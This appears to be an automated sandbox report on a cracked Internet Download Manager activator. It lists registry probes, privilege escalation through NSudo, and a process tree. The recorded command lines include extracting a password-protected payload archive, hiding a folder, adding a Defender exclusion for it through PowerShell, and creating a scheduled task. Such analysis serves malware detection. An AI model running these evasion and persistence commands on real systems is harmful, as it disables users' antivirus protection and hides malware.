Key value queried \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\IDM 6.xx Activator or Resetter v3.3 by CrackingCity Team\IDM 6.xx Activator or Resetter v3.3\IDM 6.x.exe N/A

Launches sc.exe

Description Indicator Process Target
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier C:\Windows\SysWOW64\reg.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\SysWOW64\reg.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\FeatureSet C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Windows\SysWOW64\reg.exe N/A
Key queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Windows\SysWOW64\reg.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Configuration Data C:\Windows\SysWOW64\reg.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier C:\Windows\SysWOW64\reg.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Windows\SysWOW64\reg.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision C:\Windows\SysWOW64\reg.exe N/A
Key value enumerated \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Windows\SysWOW64\reg.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information C:\Windows\SysWOW64\reg.exe N/A

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Wow6432Node\CLSID\IAS_TEST C:\Windows\System32\reg.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\WOW6432Node\CLSID\IAS_TEST\ C:\Windows\System32\reg.exe N/A
Key deleted \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\WOW6432Node\CLSID\IAS_TEST C:\Windows\System32\reg.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\System32\reg.exe N/A
N/A N/A C:\Windows\System32\reg.exe N/A
N/A N/A C:\Windows\System32\reg.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeRestorePrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: 35 N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: SeRestorePrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: 35 N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: SeRestorePrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: 35 N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: SeRestorePrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: 35 N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: SeRestorePrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: 35 N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: 35 N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 63046838550265876 N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeTcbPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeCreatePermanentPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeBackupPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeRestorePrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeAuditPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeChangeNotifyPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeUndockPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeManageVolumePrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeImpersonatePrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeCreateGlobalPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: 31 N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
Token: SeSystemtimePrivilege N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\System32\conhost.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 552 wrote to memory of 1564 N/A C:\Users\Admin\AppData\Local\Temp\IDM 6.xx Activator or Resetter v3.3 by CrackingCity Team\IDM 6.xx Activator or Resetter v3.3\IDM 6.x.exe C:\Windows\SysWOW64\cmd.exe
PID 552 wrote to memory of 1564 N/A C:\Users\Admin\AppData\Local\Temp\IDM 6.xx Activator or Resetter v3.3 by CrackingCity Team\IDM 6.xx Activator or Resetter v3.3\IDM 6.x.exe C:\Windows\SysWOW64\cmd.exe
PID 552 wrote to memory of 1564 N/A C:\Users\Admin\AppData\Local\Temp\IDM 6.xx Activator or Resetter v3.3 by CrackingCity Team\IDM 6.xx Activator or Resetter v3.3\IDM 6.x.exe C:\Windows\SysWOW64\cmd.exe
PID 1564 wrote to memory of 232 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 1564 wrote to memory of 232 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 1564 wrote to memory of 232 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 1564 wrote to memory of 1624 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
PID 1564 wrote to memory of 1624 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
PID 1564 wrote to memory of 1624 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
PID 1564 wrote to memory of 2092 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
PID 1564 wrote to memory of 2092 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
PID 1564 wrote to memory of 2092 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
PID 1564 wrote to memory of 4496 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
PID 1564 wrote to memory of 4496 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
PID 1564 wrote to memory of 4496 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
PID 1564 wrote to memory of 2064 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
PID 1564 wrote to memory of 2064 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
PID 1564 wrote to memory of 2064 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
PID 1564 wrote to memory of 1168 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
PID 1564 wrote to memory of 1168 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
PID 1564 wrote to memory of 1168 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe
PID 552 wrote to memory of 2244 N/A C:\Users\Admin\AppData\Local\Temp\IDM 6.xx Activator or Resetter v3.3 by CrackingCity Team\IDM 6.xx Activator or Resetter v3.3\IDM 6.x.exe C:\Windows\SysWOW64\cmd.exe
PID 552 wrote to memory of 2244 N/A C:\Users\Admin\AppData\Local\Temp\IDM 6.xx Activator or Resetter v3.3 by CrackingCity Team\IDM 6.xx Activator or Resetter v3.3\IDM 6.x.exe C:\Windows\SysWOW64\cmd.exe
PID 552 wrote to memory of 2244 N/A C:\Users\Admin\AppData\Local\Temp\IDM 6.xx Activator or Resetter v3.3 by CrackingCity Team\IDM 6.xx Activator or Resetter v3.3\IDM 6.x.exe C:\Windows\SysWOW64\cmd.exe
PID 552 wrote to memory of 4064 N/A C:\Users\Admin\AppData\Local\Temp\IDM 6.xx Activator or Resetter v3.3 by CrackingCity Team\IDM 6.xx Activator or Resetter v3.3\IDM 6.x.exe C:\Windows\SysWOW64\cmd.exe
PID 552 wrote to memory of 4064 N/A C:\Users\Admin\AppData\Local\Temp\IDM 6.xx Activator or Resetter v3.3 by CrackingCity Team\IDM 6.xx Activator or Resetter v3.3\IDM 6.x.exe C:\Windows\SysWOW64\cmd.exe
PID 552 wrote to memory of 4064 N/A C:\Users\Admin\AppData\Local\Temp\IDM 6.xx Activator or Resetter v3.3 by CrackingCity Team\IDM 6.xx Activator or Resetter v3.3\IDM 6.x.exe C:\Windows\SysWOW64\cmd.exe
PID 2244 wrote to memory of 1096 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2244 wrote to memory of 1096 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2244 wrote to memory of 1096 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2244 wrote to memory of 1264 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\find.exe
PID 2244 wrote to memory of 1264 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\find.exe
PID 2244 wrote to memory of 1264 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\find.exe
PID 2244 wrote to memory of 1992 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2244 wrote to memory of 1992 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2244 wrote to memory of 1992 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2244 wrote to memory of 4764 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\find.exe
PID 2244 wrote to memory of 4764 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\find.exe
PID 2244 wrote to memory of 4764 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\find.exe
PID 4064 wrote to memory of 1964 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 4064 wrote to memory of 1964 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 2244 wrote to memory of 4092 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2244 wrote to memory of 4092 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2244 wrote to memory of 4092 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 1964 wrote to memory of 4584 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\sc.exe
PID 1964 wrote to memory of 4584 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\sc.exe
PID 1964 wrote to memory of 924 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\find.exe
PID 1964 wrote to memory of 924 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\find.exe
PID 2244 wrote to memory of 3008 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2244 wrote to memory of 3008 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2244 wrote to memory of 3008 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1964 wrote to memory of 2744 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\findstr.exe
PID 1964 wrote to memory of 2744 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\findstr.exe
PID 1964 wrote to memory of 2044 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1964 wrote to memory of 2044 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1964 wrote to memory of 856 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\reg.exe
PID 1964 wrote to memory of 856 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\reg.exe
PID 1964 wrote to memory of 2124 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\find.exe
PID 1964 wrote to memory of 2124 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\find.exe
PID 1964 wrote to memory of 4212 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1964 wrote to memory of 4212 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 4212 wrote to memory of 516 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 4212 wrote to memory of 516 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 4212 wrote to memory of 2512 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\cmd.exe

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\attrib.exe N/A
N/A N/A C:\Windows\SysWOW64\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\IDM 6.xx Activator or Resetter v3.3 by CrackingCity Team\IDM 6.xx Activator or Resetter v3.3\IDM 6.x.exe

"C:\Users\Admin\AppData\Local\Temp\IDM 6.xx Activator or Resetter v3.3 by CrackingCity Team\IDM 6.xx Activator or Resetter v3.3\IDM 6.x.exe"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ytmp\main.bat" "

C:\Windows\SysWOW64\attrib.exe

ATTRIB -S +H .

C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe

7za e files.tmp -ptmp@tmp420 -aoa IDM0.bat

C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe

7za e files.tmp -ptmp@tmp420 -aoa IDM.bat

C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe

7za e files.tmp -ptmp@tmp420 -aoa NSudo86x.exe

C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe

7za e files.tmp -ptmp@tmp420 -aoa AB2EF.exe

C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe

7za e files.tmp -ptmp@tmp420 -aoa UpdateTask.xml

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ytmp\IDM0.bat" "

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ytmp\IDM.bat" "

C:\Windows\SysWOW64\reg.exe

REG QUERY "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden"

C:\Windows\SysWOW64\find.exe

FIND /I "1"

C:\Windows\SysWOW64\reg.exe

REG QUERY "HKLM\Hardware\Description\System\CentralProcessor\0"

C:\Windows\SysWOW64\find.exe

FIND /I "x86"

C:\Windows\system32\cmd.exe

C:\Windows\Sysnative\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ytmp\IDM.bat" r1"

C:\Windows\SysWOW64\attrib.exe

ATTRIB +S +H "C:\Users\Admin\AppData\Roaming\DLL"

C:\Windows\System32\sc.exe

sc query Null

C:\Windows\System32\find.exe

find /i "RUNNING"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

POWERSHELL -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\DLL" -Force

C:\Windows\System32\findstr.exe

findstr /v "$" "IDM.bat"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ver

C:\Windows\System32\reg.exe

reg query "HKCU\Console" /v ForceV2

C:\Windows\System32\find.exe

find /i "0x0"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c echo prompt $E | cmd

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo prompt $E "

C:\Windows\System32\cmd.exe

cmd

